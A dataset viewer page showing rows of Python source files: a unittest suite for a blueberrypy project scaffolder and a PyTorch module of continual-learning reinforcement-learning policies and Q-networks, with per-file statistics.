xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

109a079b56d7a443e9bc438905f6711d5df2801b

11,902

py

Python

src/blueberrypy/tests/test_project.py

wyuenho/blueberrypy

c954cdbe9064853c96e61c0ae9c76a95b95c0c79

[ "BSD-3-Clause" ]

1

2016-09-05T18:45:41.000Z

src/blueberrypy/tests/test_project.py

wyuenho/blueberrypy

c954cdbe9064853c96e61c0ae9c76a95b95c0c79

[ "BSD-3-Clause" ]

null

src/blueberrypy/tests/test_project.py

wyuenho/blueberrypy

c954cdbe9064853c96e61c0ae9c76a95b95c0c79

[ "BSD-3-Clause" ]

4

2016-09-05T18:47:00.000Z

2020-01-20T00:59:28.000Z

import os import shutil import tempfile import unittest from blueberrypy.project import create_project class CreateProjectTest(unittest.TestCase): def setUp(self): self.tmpdir = tempfile.mkdtemp() def tearDown(self): shutil.rmtree(self.tmpdir) def test_create_project(self): blueberrypy_config = {'author': 'Jimmy Wong', 'current_year': 2012, 'driver': 'pysqlite', 'path': self.tmpdir, 'email': 'abc@example.com', 'package': 'blueberrytest', 'project_name': 'blueberrytest', 'sqlalchemy_url': 'sqlite://', 'use_controller': True, 'use_jinja2': True, 'use_redis': True, 'use_rest_controller': True, 'use_sqlalchemy': True, 'use_webassets': True, 'version': '0.1'} create_project(blueberrypy_config) paths = ['', '.cache', 'config', 'config/dev', 'config/dev/app.yml', 'config/dev/bundles.yml', 'config/dev/logging.yml', 'config/prod', 'config/prod/app.yml', 'config/prod/bundles.yml', 'config/prod/logging.yml', 'log', 'setup.py', 'src', 'src/blueberrytest', 'src/blueberrytest/__init__.py', 'src/blueberrytest/api.py', 'src/blueberrytest/controller.py', 'src/blueberrytest/model.py', 'src/blueberrytest/rest_controller.py', 'src/blueberrytest/templates', 'src/blueberrytest/templates/404.html', 'src/blueberrytest/templates/base.html', 'src/blueberrytest/templates/index.html', 'src/tests', 'src/tests/__init__.py', 'src/tests/helper.py', 'src/tests/test_api.py', 'src/tests/test_controller.py', 'src/tests/test_model.py', 'src/tests/test_rest_controller.py', 'static', 'static/css', 'static/css/screen.css', 'static/favicon.ico', 'static/img', 'static/js'] for path in paths: self.assertTrue(os.path.exists(os.path.join(self.tmpdir, path)), "Path '%s' wasn't created" % path) def test_create_project_use_sqlalchemy_n(self): blueberrypy_config = {'author': 'Jimmy Wong', 'current_year': 2012, 'driver': 'pysqlite', 'path': self.tmpdir, 'email': 'abc@example.com', 'package': 'blueberrytest', 'project_name': 'blueberrytest', 'sqlalchemy_url': 'sqlite://', 'use_controller': True, 'use_jinja2': True, 'use_redis': True, 'use_rest_controller': True, 'use_sqlalchemy': False, 'use_webassets': True, 'version': '0.1'} create_project(blueberrypy_config) paths = ['', '.cache', 'config', 'config/dev', 'config/dev/app.yml', 'config/dev/bundles.yml', 'config/dev/logging.yml', 'config/prod', 'config/prod/app.yml', 'config/prod/bundles.yml', 'config/prod/logging.yml', 'log', 'setup.py', 'src', 'src/blueberrytest', 'src/blueberrytest/__init__.py', 'src/blueberrytest/controller.py', 'src/blueberrytest/rest_controller.py', 'src/blueberrytest/templates', 'src/blueberrytest/templates/404.html', 'src/blueberrytest/templates/base.html', 'src/blueberrytest/templates/index.html', 'src/tests', 'src/tests/__init__.py', 'src/tests/helper.py', 'src/tests/test_controller.py', 'src/tests/test_rest_controller.py', 'static', 'static/css', 'static/css/screen.css', 'static/favicon.ico', 'static/img', 'static/js'] for path in paths: self.assertTrue(os.path.exists(os.path.join(self.tmpdir, path)), "Path '%s' wasn't created" % path) def test_create_project_use_controller_n(self): blueberrypy_config = {'author': 'Jimmy Wong', 'current_year': 2012, 'driver': 'pysqlite', 'path': self.tmpdir, 'email': 'abc@example.com', 'package': 'blueberrytest', 'project_name': 'blueberrytest', 'sqlalchemy_url': 'sqlite://', 'use_controller': False, 'use_jinja2': True, 'use_redis': True, 'use_rest_controller': True, 'use_sqlalchemy': True, 'use_webassets': True, 'version': '0.1'} create_project(blueberrypy_config) paths = ['', '.cache', 'config', 'config/dev', 'config/dev/app.yml', 'config/dev/bundles.yml', 'config/dev/logging.yml', 'config/prod', 'config/prod/app.yml', 'config/prod/bundles.yml', 'config/prod/logging.yml', 'log', 'setup.py', 'src', 'src/blueberrytest', 'src/blueberrytest/__init__.py', 'src/blueberrytest/api.py', 'src/blueberrytest/model.py', 'src/blueberrytest/rest_controller.py', 'src/tests', 'src/tests/__init__.py', 'src/tests/helper.py', 'src/tests/test_api.py', 'src/tests/test_model.py', 'src/tests/test_rest_controller.py'] for path in paths: self.assertTrue(os.path.exists(os.path.join(self.tmpdir, path)), "Path '%s' wasn't created" % path) def test_create_project_use_jinja2_n(self): blueberrypy_config = {'author': 'Jimmy Wong', 'current_year': 2012, 'driver': 'pysqlite', 'path': self.tmpdir, 'email': 'abc@example.com', 'package': 'blueberrytest', 'project_name': 'blueberrytest', 'sqlalchemy_url': 'sqlite://', 'use_controller': True, 'use_jinja2': False, 'use_redis': True, 'use_rest_controller': True, 'use_sqlalchemy': True, 'use_webassets': True, 'version': '0.1'} create_project(blueberrypy_config) paths = ['', '.cache', 'config', 'config/dev', 'config/dev/app.yml', 'config/dev/bundles.yml', 'config/dev/logging.yml', 'config/prod', 'config/prod/app.yml', 'config/prod/bundles.yml', 'config/prod/logging.yml', 'log', 'setup.py', 'src', 'src/blueberrytest', 'src/blueberrytest/__init__.py', 'src/blueberrytest/api.py', 'src/blueberrytest/controller.py', 'src/blueberrytest/model.py', 'src/blueberrytest/rest_controller.py', 'src/tests', 'src/tests/__init__.py', 'src/tests/helper.py', 'src/tests/test_api.py', 'src/tests/test_controller.py', 'src/tests/test_model.py', 'src/tests/test_rest_controller.py', 'static', 'static/css', 'static/css/screen.css', 'static/favicon.ico', 'static/img', 'static/js'] for path in paths: self.assertTrue(os.path.exists(os.path.join(self.tmpdir, path)), "Path '%s' wasn't created" % path) def test_create_project_use_rest_controller_n(self): blueberrypy_config = {'author': 'Jimmy Wong', 'current_year': 2012, 'driver': 'pysqlite', 'path': self.tmpdir, 'email': 'abc@example.com', 'package': 'blueberrytest', 'project_name': 'blueberrytest', 'sqlalchemy_url': 'sqlite://', 'use_controller': True, 'use_jinja2': True, 'use_redis': True, 'use_rest_controller': False, 'use_sqlalchemy': True, 'use_webassets': True, 'version': '0.1'} create_project(blueberrypy_config) paths = ['', '.cache', 'config', 'config/dev', 'config/dev/app.yml', 'config/dev/bundles.yml', 'config/dev/logging.yml', 'config/prod', 'config/prod/app.yml', 'config/prod/bundles.yml', 'config/prod/logging.yml', 'log', 'setup.py', 'src', 'src/blueberrytest', 'src/blueberrytest/__init__.py', 'src/blueberrytest/api.py', 'src/blueberrytest/controller.py', 'src/blueberrytest/model.py', 'src/blueberrytest/templates', 'src/blueberrytest/templates/404.html', 'src/blueberrytest/templates/base.html', 'src/blueberrytest/templates/index.html', 'src/tests', 'src/tests/__init__.py', 'src/tests/helper.py', 'src/tests/test_api.py', 'src/tests/test_controller.py', 'src/tests/test_model.py', 'static', 'static/css', 'static/css/screen.css', 'static/favicon.ico', 'static/img', 'static/js'] for path in paths: self.assertTrue(os.path.exists(os.path.join(self.tmpdir, path)), "Path '%s' wasn't created" % path)

39.80602

111

0.418669

947

11,902

5.100317

0.093981

0.048654

0.047619

0.046377

0.945963

0.943892

0.941822

0

0.007046

0.463368

11,902

298

112

39.939597

0.749178

0

0.925373

0

0.351063

0.175279

0

0.018657

1

0.026119

false

0

0.018657

0

0.048507

0

null

0

1

0

1

0

null

0

7

109a53a29197fcc1e270f83aac3f0ea08a38a239

27,654

py

Python

model.py

yangfanthu/ll_orthog

c7dc68ed620c86060b554ae14372818b5cf5e2e0

[ "MIT" ]

null

model.py

yangfanthu/ll_orthog

c7dc68ed620c86060b554ae14372818b5cf5e2e0

[ "MIT" ]

null

model.py

yangfanthu/ll_orthog

c7dc68ed620c86060b554ae14372818b5cf5e2e0

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F from torch.distributions import Normal import utils import numpy as np LOG_SIG_MAX = 2 LOG_SIG_MIN = -20 epsilon = 1e-6 # Initialize Policy weights def weights_init_(m): if isinstance(m, nn.Linear): torch.nn.init.xavier_uniform_(m.weight, gain=1) # torch.nn.init.constant_(m.bias, 0) class APDLinear(nn.Module): def __init__(self, shared_info_dim): super(APDLinear, self).__init__() self.shared_info_dim = shared_info_dim self.shared_weights = nn.Parameter(torch.zeros((shared_info_dim, shared_info_dim), requires_grad=True)) torch.nn.init.xavier_uniform_(self.shared_weights, gain=1) self.tau_l = nn.ParameterList([]) self.tau_r = nn.ParameterList([]) self.bias = nn.ParameterList([]) def forward(self, x, task_id): assert self.tau_l assert self.tau_r assert self.bias weights = self.get_theta(task_id) bias = self.bias[task_id] return torch.matmul(x,weights.transpose(0,1)) + bias.squeeze(1) def add_task(self, in_dim, out_dim, device=torch.device("cpu")): self.tau_l.append(nn.Parameter(torch.nn.init.xavier_uniform_(torch.zeros((out_dim, self.shared_info_dim),requires_grad=True), gain=1).to(device))) self.tau_r.append(nn.Parameter(torch.nn.init.xavier_uniform_(torch.zeros((self.shared_info_dim, in_dim), requires_grad=True), gain=1).to(device))) self.bias.append(nn.Parameter(torch.nn.init.constant_(torch.zeros((out_dim,1), requires_grad=True), 0).to(device))) def get_theta(self, task_id): weights = torch.matmul(self.tau_l[task_id], self.shared_weights) weights = torch.matmul(weights, self.tau_r[task_id]) return weights def get_bias(self, task_id): return self.bias[task_id] def num_tasks(self): return len(self.bias) class QNetwork(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim): super(QNetwork, self).__init__() # Q1 architecture self.linear1 = nn.Linear(num_inputs + num_actions, hidden_dim) self.linear2 = nn.Linear(hidden_dim, hidden_dim) self.linear3 = nn.Linear(hidden_dim, 1) # Q2 architecture self.linear4 = nn.Linear(num_inputs + num_actions, hidden_dim) self.linear5 = nn.Linear(hidden_dim, hidden_dim) self.linear6 = nn.Linear(hidden_dim, 1) self.apply(weights_init_) def forward(self, state, action): xu = torch.cat([state, action], 1) x1 = F.relu(self.linear1(xu)) x1 = F.relu(self.linear2(x1)) x1 = self.linear3(x1) x2 = F.relu(self.linear4(xu)) x2 = F.relu(self.linear5(x2)) x2 = self.linear6(x2) return x1, x2 class LLQNetwork(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, num_tasks): super(LLQNetwork, self).__init__() # Q1 architecture self.linear1 = nn.Linear(num_inputs + num_actions, hidden_dim) self.linear2 = nn.Linear(hidden_dim, hidden_dim) self.linear3 = nn.ModuleList() for i in range(num_tasks): self.linear3.append(nn.Linear(hidden_dim, 1)) # Q2 architecture self.linear4 = nn.Linear(num_inputs + num_actions, hidden_dim) self.linear5 = nn.Linear(hidden_dim, hidden_dim) self.linear6 = nn.ModuleList() for i in range(num_tasks): self.linear6.append(nn.Linear(hidden_dim, 1)) self.apply(weights_init_) def forward(self, state, action, task_id): xu = torch.cat([state, action], 1) x1 = F.relu(self.linear1(xu)) x1 = F.relu(self.linear2(x1)) x1 = self.linear3[task_id](x1) x2 = F.relu(self.linear4(xu)) x2 = F.relu(self.linear5(x2)) x2 = self.linear6[task_id](x2) return x1, x2 class GaussianPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, action_space=None): super(GaussianPolicy, self).__init__() self.linear1 = nn.Linear(num_inputs, hidden_dim) self.linear2 = nn.Linear(hidden_dim, hidden_dim) self.mean_linear = nn.Linear(hidden_dim, num_actions) self.log_std_linear = nn.Linear(hidden_dim, num_actions) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = torch.tensor(1.) self.action_bias = torch.tensor(0.) else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state): x = F.relu(self.linear1(state)) x = F.relu(self.linear2(x)) mean = self.mean_linear(x) log_std = self.log_std_linear(x) log_std = torch.clamp(log_std, min=LOG_SIG_MIN, max=LOG_SIG_MAX) return mean, log_std def sample(self, state): mean, log_std = self.forward(state) std = log_std.exp() normal = Normal(mean, std) x_t = normal.rsample() # for reparameterization trick (mean + std * N(0,1)) y_t = torch.tanh(x_t) action = y_t * self.action_scale + self.action_bias log_prob = normal.log_prob(x_t) # Enforcing Action Bound log_prob -= torch.log(self.action_scale * (1 - y_t.pow(2)) + epsilon) log_prob = log_prob.sum(1, keepdim=True) mean = torch.tanh(mean) * self.action_scale + self.action_bias return action, log_prob, mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) return super(GaussianPolicy, self).to(device) class DeterministicPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, action_space=None): super(DeterministicPolicy, self).__init__() self.linear1 = nn.Linear(num_inputs, hidden_dim) self.linear2 = nn.Linear(hidden_dim, hidden_dim) self.mean = nn.Linear(hidden_dim, num_actions) self.noise = torch.Tensor(num_actions) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = 1. self.action_bias = 0. else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state): x = F.relu(self.linear1(state)) x = F.relu(self.linear2(x)) mean = torch.tanh(self.mean(x)) * self.action_scale + self.action_bias return mean def sample(self, state): mean = self.forward(state) noise = self.noise.normal_(0., std=0.1) noise = noise.clamp(-0.25, 0.25) action = mean + noise return action, torch.tensor(0.), mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) self.noise = self.noise.to(device) return super(DeterministicPolicy, self).to(device) class CLOSDeterministicPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, num_tasks, shared_feature_dim=256, action_space=None): super(CLOSDeterministicPolicy, self).__init__() projections = utils.generate_projection_matrix(num_tasks=num_tasks, feature_dim=shared_feature_dim) utils.unit_test_projection_matrices(projections) self.projections = [] for i in range(len(projections)): self.projections.append(torch.from_numpy(projections[i]).float()) self.shared_linear1 = nn.Linear(num_inputs, hidden_dim, bias=False) self.shared_linear2 = nn.Linear(hidden_dim, hidden_dim, bias=False) self.shared_linear3 = nn.Linear(hidden_dim, shared_feature_dim, bias=False) self.mean_linears = nn.ModuleList() self.noise = torch.Tensor(num_actions) for i in range(num_tasks): self.mean_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = 1. self.action_bias = 0. else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state, task_id): x = F.relu(self.shared_linear1(state)) x = F.relu(self.shared_linear2(x)) x = F.relu(self.shared_linear3(x)) projection = self.projections[task_id] x = torch.matmul(x,projection) mean = torch.tanh(self.mean_linears[task_id](x)) * self.action_scale + self.action_bias return mean def sample(self, state, task_id): mean = self.forward(state, task_id) noise = self.noise.normal_(0., std=0.1) noise = noise.clamp(-0.25, 0.25) action = mean + noise return action, torch.tensor(0.), mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) self.noise = self.noise.to(device) for i in range(len(self.projections)): self.projections[i] = self.projections[i].to(device) return super(CLOSDeterministicPolicy, self).to(device) def zero_grad(self): self.single_zero_grad(self.shared_linear1.weight) self.single_zero_grad(self.shared_linear2.weight) self.single_zero_grad(self.shared_linear3.weight) for module in self.mean_linears: self.single_zero_grad(module.weight) def single_zero_grad(self, p): if p.grad is not None: if p.grad.grad_fn is not None: p.grad.detach_() else: p.grad.requires_grad_(False) p.grad.zero_() class EWCDeterministicPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, num_tasks, shared_feature_dim=256, action_space=None): super(EWCDeterministicPolicy, self).__init__() self.shared_linear1 = nn.Linear(num_inputs, hidden_dim, bias=False) self.shared_linear2 = nn.Linear(hidden_dim, hidden_dim, bias=False) self.shared_linear3 = nn.Linear(hidden_dim, shared_feature_dim, bias=False) self.mean_linears = nn.ModuleList() self.noise = torch.Tensor(num_actions) for i in range(num_tasks): self.mean_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = 1. self.action_bias = 0. else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state, task_id): x = F.relu(self.shared_linear1(state)) x = F.relu(self.shared_linear2(x)) x = F.relu(self.shared_linear3(x)) mean = torch.tanh(self.mean_linears[task_id](x)) * self.action_scale + self.action_bias return mean def sample(self, state, task_id): mean = self.forward(state, task_id) noise = self.noise.normal_(0., std=0.1) noise = noise.clamp(-0.25, 0.25) action = mean + noise return action, torch.tensor(0.), mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) self.noise = self.noise.to(device) return super(EWCDeterministicPolicy, self).to(device) def zero_grad(self): self.single_zero_grad(self.shared_linear1.weight) self.single_zero_grad(self.shared_linear2.weight) self.single_zero_grad(self.shared_linear3.weight) for module in self.mean_linears: self.single_zero_grad(module.weight) def single_zero_grad(self, p): if p.grad is not None: if p.grad.grad_fn is not None: p.grad.detach_() else: p.grad.requires_grad_(False) p.grad.zero_() class APDDeterministicPolicy(nn.Module): def __init__(self, shared_info_dim, num_actions): super(APDDeterministic, self).__init__() self.linear1 = APDLinear(shared_info_dim) self.linear2 = APDLinear(shared_info_dim) self.mean_linear = APDLinear(shared_info_dim) self.noise = torch.Tensor(num_actions) self.action_scale = [] self.action_bias = [] self.bias = [] self.prev_theta_1 = None self.prev_theta_2 = None self.prev_mean_theta = None # self.apply(weights_init_) def forward(self, state, task_id): x = F.relu(self.linear1(state, task_id)) x = F.relu(self.linear2(x, task_id)) mean = self.mean_linear(x, task_id) return mean def sample(self, state, task_id): mean = self.forward(state, task_id) noise = self.noise.normal_(0., std=0.1) noise = noise.clamp(-0.25, 0.25) action = mean + noise return action, torch.tensor(0.), mean def to(self, device): for i in range(len(self.action_scale)): self.action_scale[i] = self.action_scale[i].to(device) self.action_bias[i] = self.action_bias[i].to(device) return super(APDDeterministic, self).to(device) def add_task(self, in_dim, out_dim, hidden_dim, action_space=None, device=torch.device('cpu')): current_num_task = self.num_tasks() if current_num_task >= 1: with torch.no_grad(): self.prev_theta_1 = [self.linear1.get_theta(idx) for idx in range(current_num_task)] self.prev_theta_2 = [self.linear2.get_theta(idx) for idx in range(current_num_task)] self.prev_mean_theta = [self.mean_linear.get_theta(idx) for idx in range(current_num_task)] self.linear1.add_task(in_dim, hidden_dim, device=device) self.linear2.add_task(hidden_dim, hidden_dim, device=device) self.mean_linear.add_task(hidden_dim, out_dim, device=device) # action rescaling if action_space is None: self.action_scale.append(torch.tensor(1.).to(device)) self.action_bias.append(torch.tensor(0.).to(device)) else: self.action_scale.append(torch.FloatTensor( (action_space.high - action_space.low) / 2.).to(device)) self.action_bias.append(torch.FloatTensor( (action_space.high + action_space.low) / 2.).to(device)) def num_tasks(self): return self.linear1.num_tasks() def get_bias_loss(self): current_num_tasks = self.num_tasks() bias_loss = 0 for i in range(current_num_tasks): bias_loss += abs(self.linear1.get_bias(i)).sum() bias_loss += abs(self.linear2.get_bias(i)).sum() bias_loss += abs(self.mean_linear.get_bias(i)).sum() return bias_loss def get_diff_loss(self): current_num_tasks = self.num_tasks() diff_loss = 0 if current_num_tasks >= 2: for i in range(current_num_tasks - 1): theta_1 = self.linear1.get_theta(i) theta_2 = self.linear2.get_theta(i) mean_theta = self.mean_linear.get_theta(i) diff_loss += pow((theta_1 - self.prev_theta_1[i]),2).sum() diff_loss += pow((theta_2 - self.prev_theta_2[i]),2).sum() diff_loss += pow((mean_theta - self.prev_mean_theta[i]),2).sum() return diff_loss class LLGaussianPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, num_tasks, shared_feature_dim=256, action_space=None): super(LLGaussianPolicy, self).__init__() projections = utils.generate_projection_matrix(num_tasks=num_tasks, feature_dim=shared_feature_dim) utils.unit_test_projection_matrices(projections) self.projections = [] for i in range(len(projections)): self.projections.append(torch.from_numpy(projections[i]).float()) # TODO: check whether w should use bias here self.shared_linear1 = nn.Linear(num_inputs, hidden_dim, bias=False) self.shared_linear2 = nn.Linear(hidden_dim, hidden_dim, bias=False) self.shared_linear3 = nn.Linear(hidden_dim, shared_feature_dim, bias=False) self.mean_linears = nn.ModuleList() self.log_std_linears = nn.ModuleList() for i in range(num_tasks): self.mean_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.log_std_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = torch.tensor(1.) self.action_bias = torch.tensor(0.) else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state, task_id): x = F.relu(self.shared_linear1(state)) x = F.relu(self.shared_linear2(x)) x = F.relu(self.shared_linear3(x)) projection = self.projections[task_id] x = torch.matmul(x,projection) mean_linear = self.mean_linears[task_id] log_std_linear = self.log_std_linears[task_id] mean = mean_linear(x) log_std = log_std_linear(x) log_std = torch.clamp(log_std, min=LOG_SIG_MIN, max=LOG_SIG_MAX) return mean, log_std def sample(self, state, task_id): mean, log_std = self.forward(state, task_id) std = log_std.exp() normal = Normal(mean, std) x_t = normal.rsample() # for reparameterization trick (mean + std * N(0,1)) y_t = torch.tanh(x_t) action = y_t * self.action_scale + self.action_bias log_prob = normal.log_prob(x_t) # Enforcing Action Bound log_prob -= torch.log(self.action_scale * (1 - y_t.pow(2)) + epsilon) log_prob = log_prob.sum(1, keepdim=True) mean = torch.tanh(mean) * self.action_scale + self.action_bias return action, log_prob, mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) for i in range(len(self.projections)): self.projections[i] = self.projections[i].to(device) return super(LLGaussianPolicy, self).to(device) def zero_grad(self): self.single_zero_grad(self.shared_linear1.weight) self.single_zero_grad(self.shared_linear2.weight) self.single_zero_grad(self.shared_linear3.weight) for module in self.mean_linears: self.single_zero_grad(module.weight) def single_zero_grad(self, p): if p.grad is not None: if p.grad.grad_fn is not None: p.grad.detach_() else: p.grad.requires_grad_(False) p.grad.zero_() class EWCGaussianPolicy(nn.Module): def __init__(self, num_inputs, num_actions, hidden_dim, num_tasks, shared_feature_dim=256, action_space=None): super(EWCGaussianPolicy, self).__init__() # TODO: check whether w should use bias here self.shared_linear1 = nn.Linear(num_inputs, hidden_dim, bias=False) self.shared_linear2 = nn.Linear(hidden_dim, hidden_dim, bias=False) self.shared_linear3 = nn.Linear(hidden_dim, shared_feature_dim, bias=False) self.mean_linears = nn.ModuleList() self.log_std_linears = nn.ModuleList() for i in range(num_tasks): self.mean_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.log_std_linears.append(nn.Linear(shared_feature_dim, num_actions)) self.apply(weights_init_) # action rescaling if action_space is None: self.action_scale = torch.tensor(1.) self.action_bias = torch.tensor(0.) else: self.action_scale = torch.FloatTensor( (action_space.high - action_space.low) / 2.) self.action_bias = torch.FloatTensor( (action_space.high + action_space.low) / 2.) def forward(self, state, task_id): x = F.relu(self.shared_linear1(state)) x = F.relu(self.shared_linear2(x)) x = F.relu(self.shared_linear3(x)) mean_linear = self.mean_linears[task_id] log_std_linear = self.log_std_linears[task_id] mean = mean_linear(x) log_std = log_std_linear(x) log_std = torch.clamp(log_std, min=LOG_SIG_MIN, max=LOG_SIG_MAX) return mean, log_std def sample(self, state, task_id): mean, log_std = self.forward(state, task_id) std = log_std.exp() normal = Normal(mean, std) x_t = normal.rsample() # for reparameterization trick (mean + std * N(0,1)) y_t = torch.tanh(x_t) action = y_t * self.action_scale + self.action_bias log_prob = normal.log_prob(x_t) # Enforcing Action Bound log_prob -= torch.log(self.action_scale * (1 - y_t.pow(2)) + epsilon) log_prob = log_prob.sum(1, keepdim=True) mean = torch.tanh(mean) * self.action_scale + self.action_bias return action, log_prob, mean def to(self, device): self.action_scale = self.action_scale.to(device) self.action_bias = self.action_bias.to(device) return super(EWCGaussianPolicy, self).to(device) def zero_grad(self): self.single_zero_grad(self.shared_linear1.weight) self.single_zero_grad(self.shared_linear2.weight) self.single_zero_grad(self.shared_linear3.weight) for module in self.mean_linears: self.single_zero_grad(module.weight) for module in self.log_std_linears: self.single_zero_grad(module.weight) def single_zero_grad(self, p): if p.grad is not None: if p.grad.grad_fn is not None: p.grad.detach_() else: p.grad.requires_grad_(False) p.grad.zero_() class APDGaussianPolicy(nn.Module): def __init__(self, shared_info_dim): super(APDGaussianPolicy, self).__init__() self.linear1 = APDLinear(shared_info_dim) self.linear2 = APDLinear(shared_info_dim) self.mean_linear = APDLinear(shared_info_dim) self.log_std_linear = APDLinear(shared_info_dim) self.action_scale = [] self.action_bias = [] self.bias = [] self.prev_theta_1 = None self.prev_theta_2 = None self.prev_mean_theta = None self.prev_log_std_theta = None # self.apply(weights_init_) def forward(self, state, task_id): x = F.relu(self.linear1(state, task_id)) x = F.relu(self.linear2(x, task_id)) mean = self.mean_linear(x, task_id) log_std = self.log_std_linear(x, task_id) log_std = torch.clamp(log_std, min=LOG_SIG_MIN, max=LOG_SIG_MAX) return mean, log_std def sample(self, state, task_id): mean, log_std = self.forward(state, task_id) std = log_std.exp() normal = Normal(mean, std) x_t = normal.rsample() # for reparameterization trick (mean + std * N(0,1)) y_t = torch.tanh(x_t) action = y_t * self.action_scale[task_id] + self.action_bias[task_id] log_prob = normal.log_prob(x_t) # Enforcing Action Bound log_prob -= torch.log(self.action_scale[task_id] * (1 - y_t.pow(2)) + epsilon) log_prob = log_prob.sum(1, keepdim=True) mean = torch.tanh(mean) * self.action_scale[task_id] + self.action_bias[task_id] return action, log_prob, mean def to(self, device): for i in range(len(self.action_scale)): self.action_scale[i] = self.action_scale[i].to(device) self.action_bias[i] = self.action_bias[i].to(device) return super(APDGaussianPolicy, self).to(device) def add_task(self, in_dim, out_dim, hidden_dim, action_space=None, device=torch.device('cpu')): current_num_task = self.num_tasks() if current_num_task >= 1: with torch.no_grad(): self.prev_theta_1 = [self.linear1.get_theta(idx) for idx in range(current_num_task)] self.prev_theta_2 = [self.linear2.get_theta(idx) for idx in range(current_num_task)] self.prev_mean_theta = [self.mean_linear.get_theta(idx) for idx in range(current_num_task)] self.prev_log_std_theta = [self.log_std_linear.get_theta(idx) for idx in range(current_num_task)] self.linear1.add_task(in_dim, hidden_dim, device=device) self.linear2.add_task(hidden_dim, hidden_dim, device=device) self.mean_linear.add_task(hidden_dim, out_dim, device=device) self.log_std_linear.add_task(hidden_dim, out_dim, device=device) # action rescaling if action_space is None: self.action_scale.append(torch.tensor(1.).to(device)) self.action_bias.append(torch.tensor(0.).to(device)) else: self.action_scale.append(torch.FloatTensor( (action_space.high - action_space.low) / 2.).to(device)) self.action_bias.append(torch.FloatTensor( (action_space.high + action_space.low) / 2.).to(device)) def num_tasks(self): return self.linear1.num_tasks() def get_bias_loss(self): current_num_tasks = self.num_tasks() bias_loss = 0 for i in range(current_num_tasks): bias_loss += abs(self.linear1.get_bias(i)).sum() bias_loss += abs(self.linear2.get_bias(i)).sum() bias_loss += abs(self.mean_linear.get_bias(i)).sum() bias_loss += abs(self.log_std_linear.get_bias(i)).sum() return bias_loss def get_diff_loss(self): current_num_tasks = self.num_tasks() diff_loss = 0 if current_num_tasks >= 2: for i in range(current_num_tasks - 1): theta_1 = self.linear1.get_theta(i) theta_2 = self.linear2.get_theta(i) mean_theta = self.mean_linear.get_theta(i) log_std_theta = self.log_std_linear.get_theta(i) diff_loss += pow((theta_1 - self.prev_theta_1[i]),2).sum() diff_loss += pow((theta_2 - self.prev_theta_2[i]),2).sum() diff_loss += pow((mean_theta - self.prev_mean_theta[i]),2).sum() diff_loss += pow((log_std_theta - self.prev_log_std_theta[i]),2).sum() return diff_loss if __name__ == "__main__": policy = EWCGaussianPolicy(num_inputs=1, num_actions=1, hidden_dim=256, num_tasks=4) input = np.array([[1],[2]], dtype=np.float32) input = torch.from_numpy(input) action, log_prob, mean = policy.sample(input,0) gt = np.array([[1],[0]], dtype=np.float32) gt = torch.from_numpy(gt) criterion = nn.MSELoss() loss = criterion(gt, action) loss.backward() policy.zero_grad()

42.027356

154

0.637593

3,838

27,654

4.332204

0.048202

0.057737

0.04601

0.021471

0.89481

0.883924

0.871173

0.862513

0.854754

0.838335

0

0.014513

0.250018

27,654

657

155

42.091324

0.787175

0.025096

0

0.797101

0

0.000631

0

0.001522

0.005435

1

0.106884

false

0

0.01087

0.007246

0.202899

0

null

0

1

0

1

0

null

0

7

52b8c77ff0a697dd62561f62a5ae2e4f2bb2de97

1,177

py

Python

Nodes/Statements/Assignment.py

Mohsin-Ul-Islam/YAPL

163da2dfd879fc6dee9bc0e1b1c94972c75935cd

[ "MIT" ]

null

Nodes/Statements/Assignment.py

Mohsin-Ul-Islam/YAPL

163da2dfd879fc6dee9bc0e1b1c94972c75935cd

[ "MIT" ]

null

Nodes/Statements/Assignment.py

Mohsin-Ul-Islam/YAPL

163da2dfd879fc6dee9bc0e1b1c94972c75935cd

[ "MIT" ]

null

